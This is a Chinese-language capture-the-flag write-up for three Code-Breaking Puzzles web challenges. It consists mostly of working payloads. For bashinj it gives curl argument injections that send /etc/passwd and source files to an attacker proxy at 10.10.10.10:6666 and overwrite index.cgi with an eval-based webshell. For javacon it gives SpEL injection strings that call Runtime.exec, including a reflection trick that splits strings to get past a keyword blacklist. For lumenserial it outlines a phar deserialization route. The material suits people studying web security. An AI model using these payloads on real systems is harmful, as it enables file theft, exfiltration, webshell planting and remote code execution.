bashinj
源码index.cgi
1 2 3 4 5 6 7 8 9 10 11
| #!/bin/bash
source ./_dep/web.cgi echo_headers
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
|
虽然$name可控,但无法达成任意命令注入的效果
bash会将像curl
这样的命令视为“函数”,并不具备像eval
这样的动态执行的能力,也就是说我们只能控制住curl
的参数。
读文件
本地监听6666,用-x
来控制curl的代理服务器为我们的攻击机,外带数据
1 2 3 4 5 6 7
| name=sa -F file=@index.cgi -x 10.10.10.10:6666 name=sa -F file=@/etc/passwd -x 10.10.10.10:6666 name=sa -T /etc/passwd -x 10.10.10.10:6666 //-T是文件上传操作 name=sa --data-binary @index.cgi -x 10.10.10.10:6666
这里还有一个有意思的payload,不需要劫持,可惜需要绝对路径。 name=sa file:///etc/passwd
|
写文件
在curl中,-o
参数是将指定curl
返回保存为文件,可以配合-x
来劫持返回包写webshell
这里只能选择覆写index.cgi,否则写入的文件权限不够无法访问
1
| name=sa -o index.cgi -x 10.10.10.10:6666
|
nc监听6666端口后直接输入webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| #!/bin/bash
source ./_dep/web.cgi echo_headers
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
name=${_GET["cmd"]}
eval $name
|
直接命令执行
javacon
源码中可以查看配置文件
1 2
| iv=0123456789abcdef key=c0dehack1nghere1
|
在源码中admin界面,会从cookie的rememberMe中解密得到username,再调用getAdvanceValue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| @GetMapping public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue, HttpSession session, Model model) { if (rememberMeValue != null && !rememberMeValue.equals("")) { String username = userConfig.decryptRememberMe(rememberMeValue); if (username != null) { session.setAttribute("username", username); } }
Object username = session.getAttribute("username"); if(username == null || username.toString().equals("")) { return "redirect:/login"; }
model.addAttribute("name", getAdvanceValue(username.toString())); return "hello"; }
|
我们知道了iv和key就可以控制getAdvanceValue函数的参数
查看以下getAdvanceValue函数,明显的spel注入
1 2 3 4 5 6 7 8 9 10 11 12 13
| private String getAdvanceValue(String val) { for (String keyword: keyworkProperties.getBlacklist()) { Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val); if (matcher.find()) { throw new HttpClientErrorException(HttpStatus.FORBIDDEN); } }
ParserContext parserContext = new TemplateParserContext(); Expression exp = parser.parseExpression(val, parserContext); SmallEvaluationContext evaluationContext = new SmallEvaluationContext(); return exp.getValue(evaluationContext).toString(); }
|
使用TemplateParserContext解析,所以加上#{x}
1
| #{T(java.lang.Runtime).getRuntime().exec("calc")}
|
反射绕过字符串黑名单
1
| #{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}
|
lumenserial
在app\Http\Controllers\EditorController.php
中有以下的函数
do开头的都可以直接用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| protected function doUploadImage(Request $request) { } protected function doCatchimage(Request $request) { $sources = $request->input($this->config['catcherFieldName']); $rets = []; if ($sources) { foreach ($sources as $url) { $rets[] = $this->download($url); } } } private function download($url) { $maxSize = $this->config['catcherMaxSize']; $limitExtension = array_map(function ($ext) { return ltrim($ext, '.'); }, $this->config['catcherAllowFiles']); $allowTypes = array_map(function ($ext) { return "image/{$ext}"; }, $limitExtension); $content = file_get_contents($url); $img = getimagesizefromstring($content); } protected function doUploadImage(Request $request) { } protected function doListImage(Request $request) { } protected function doConfig(Request $request) { }
|
doUploadImage可以上传图片,doCatchimage可以调用download,从而控制file_get_contents($url),可以触发phar反序列化
接下来就是找链子
题目环境中ban了很多的函数,我们可以尝试用file_put_contents写个马,再进行命令执行
Reference
代码审计知识星球二周年 && Code-Breaking Puzzles
SpEL注入RCE分析与绕过 - 先知社区 (aliyun.com)
SPEL注入流程分析及CTF中如何使用 - 知乎 (zhihu.com)
https://www.mi1k7ea.com/2019/03/17/SpEL%E6%B3%A8%E5%85%A5%E4%B9%8Bjavacon/
PHP反序列化入门之寻找POP链(一)-安全客 - 安全资讯平台 (anquanke.com)
PHP反序列化入门之寻找POP链(二)-安全客 - 安全资讯平台 (anquanke.com)